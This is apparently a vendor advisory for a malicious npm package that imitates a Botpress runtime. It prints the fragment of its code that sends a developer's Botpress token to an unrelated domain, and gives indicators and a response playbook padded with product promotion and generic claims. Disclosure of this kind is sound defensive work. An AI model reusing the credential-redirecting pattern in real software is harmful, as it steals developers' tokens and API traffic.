Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@holocronlab/botruntime-runtimenpm

@holocronlab/botruntime-runtime is a confirmed malicious npm package (MAL-2026-13419) that steals credentials and exfiltrates sensitive data (malicious versions 2.1.15, 2.2.5, 2.2.7…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @holocronlab/botruntime-runtime (npm)

MAL-2026-13419
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @holocronlab/botruntime-runtime

What this malware does

The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported client as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" }). The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BP_TOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADK_API_URL is unset.

Malicious versions

9 flagged
2.1.152.2.52.2.72.4.22.5.02.5.42.6.02.6.12.9.7

Indicators of compromise (SHA-256)

0e2d9a10ec400f64f0c1a112a8dd1631c3db8765c6598fa2b9a1cff6f8d4ee24
d408528f7556bc157dc3e04d19850432f1c34d661e1b9d5f7aabdb165d1fa37a
f66cf12c9c593719a380fcfd6bc3fa356b2fcd3e986c8bdd76faee8387cc9899
45ecc6b6d65999d0c272e7aec8f2af28ba768bda6b8fb0c5f7472640ef77c18e
69574d32165fd7bc23a4edeb941f15c50b61fcb13e1e7a87dab3009ce0b7ee57
76ca575694c8088ffc320b83bc1408a1aa67b7ed4f88287053ef6ab0423dd518
872531f86f7684cb50b8669943244ec568d9cd758732d57580017e1a9e87d1e0
8d8d7b3af2c1917fe55a200d67cccf2ca326f3f0a4e194b395d810df6e63dd75
ad15bd6ba410e0c0ca88ac22f1632a4b6707c4c66396c49c0ba90f906b19ae33

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @holocronlab/botruntime-runtime (9 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @holocronlab/botruntime-runtime across your stack and pipelines.

  2. If you installed it — respond

    @holocronlab/botruntime-runtime is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If @holocronlab/botruntime-runtime was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @holocronlab/botruntime-runtime before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @holocronlab/botruntime-runtime on npm has been identified as a malicious package (versions 2.1.15, 2.2.5, 2.2.7, 2.4.2, 2.5.0, 2.5.4, 2.6.0, 2.6.1, and 1 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-016596IN-MAL-2026-016597IN-MAL-2026-016598IN-MAL-2026-016590IN-MAL-2026-016595IN-MAL-2026-016593IN-MAL-2026-016591IN-MAL-2026-016592IN-MAL-2026-016594

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @holocronlab/botruntime-runtime-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore